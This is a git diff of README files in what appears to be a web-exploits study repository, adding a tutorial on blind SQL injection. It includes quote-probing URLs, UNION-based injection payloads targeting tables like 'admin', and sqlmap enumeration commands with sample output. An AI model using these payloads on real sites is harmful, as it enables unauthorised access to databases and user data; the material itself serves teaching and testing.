readme

Web_Exploits/README.md

@@ -1,6 +1,6 @@
 # Web Exploits
 
-[My list of common web vulnerabilits.](http://bt3gl.github.io/a-list-of-common-web-vulnerabilities.html)
+[My list of common web vulnerabilities.](http://bt3gl.github.io/a-list-of-common-web-vulnerabilities.html)
 
 ## OS Command Injection
 

Web_Exploits/SQLi/README.md

@@ -1,11 +1,11 @@
-# SQL Injections
+# SQL Injections (SQLi)
 
 * A SQL query  search can be easily manipulated and assume that a SQL query search is a reliable command. This means  that SQL searches are capable of passing, unnoticed, by access control mechanisms. 
 * Using methods of diverting standard authentication and by checking the authorization credentials, you can gain access to important information stored in a database. 
 
-## Examples
+## The Simplest Example
 
-* A parameter passed for a name of a user:
+A parameter passed for a name of a user:
 
 ```
 SELECT * FROM users WHERE
@@ -21,4 +21,80 @@ So that the **WHERE** clause is always executed, which means that it will return
 
 Nowadays it is estimated that less than 5% of the websites have this vulnerability.
 
+These types of flaws facilitate the occurrence of other attacks, such as XSS or buffer overflows.
+
+## Blind SQL Injection
+
+It's estimated that over 20% of the websites have this flow.
+
+In traditional SQLi it is possible to reveal the information by the attacker writing a payload. In the blind SQLi, the attacker needs to ask the server if something is TRUE or FALSE. For example, you can ask for a user. If the user exists, it will load the website, so it's true.
+
+Every time you see an URL, the **question mark** followed by some type of letter or word means that a value is being sent from a page to another.
+
+In the example
+```
+http://www.website.com/info.php?id=10
+```
+the page *info.php* is receiving the data and will have some code like:
+```
+$id=$_post['id'];
+```
+and an associated SQL query:
+```
+QueryHere = "select * from information where code='$id'"
+```
+### Common ways of Exploitation
+
+#### Checking for vulnerability
+We can start to verifying whether the target is vulnerable by attaching a simple quote symbol ```'``` in the end of the URL:
+
+```
+http://www.website.com/info.php?id=10'
+```
+
+If the website returns the following error:
+
+	You have an error in your SQL syntax...
+
+It means that this website is vulnerable to SQL.
+
+#### Find the structure of the database
+To find the number of columns and tables in a database we can use [Python's SQLmap](http://sqlmap.org/).  
+
+This application streamlines the SQL injection process by automating the detection and exploitation of SQL injection flaws of a database. There are several automated mechanisms to find the database name, table names, and number of columns.
+
+* ORDER BY: it tries to order all columns form x to infinity. The iteration stops when the response shows that the input column x does not exist, reveling the value of x.
+
+* UNION: it gathers several data located in different table columns. The automated process tries to gather all information contained in columns/table x,y,z obtained by ORDER BY. The payload is similar to:
+
+```
+?id=5'%22union%22all%22select%221,2,3
+```
+
+* Normally the databases are defined with names such as: user, admin, member, password, passwd, pwd, user_name. The injector uses a trial and error technique to try to identify the name:
+
+```
+?id=5'%22union%22all%22select%221,2,3%22from%22admin
+```
+So, for example, to find the database name, we run the *sqlmap* script with target *-u* and enumeration options *--dbs* (enumerate DBMS databases):
+
+```
+$ ./sqlmap.py -u <WEBSITE> --dbs
+(...)
+[12:59:20] [INFO] testing if URI parameter '#1*' is dynamic
+[12:59:22] [INFO] confirming that URI parameter '#1*' is dynamic
+[12:59:23] [WARNING] URI parameter '#1*' does not appear dynamic
+[12:59:25] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
+[12:59:25] [INFO] testing for SQL injection on URI parameter '#1*'
+[12:59:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
+[12:59:27] [WARNING] reflective value(s) found and filtering out
+[12:59:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
+[13:00:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
+[13:00:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
+(...)
+```
+
+From this we can verify what databases we have available, for example. From this we can find out how many tables exist, and their respective names. The sqlmap command is ```--tables <DATABASE-NAME>```. 
+
+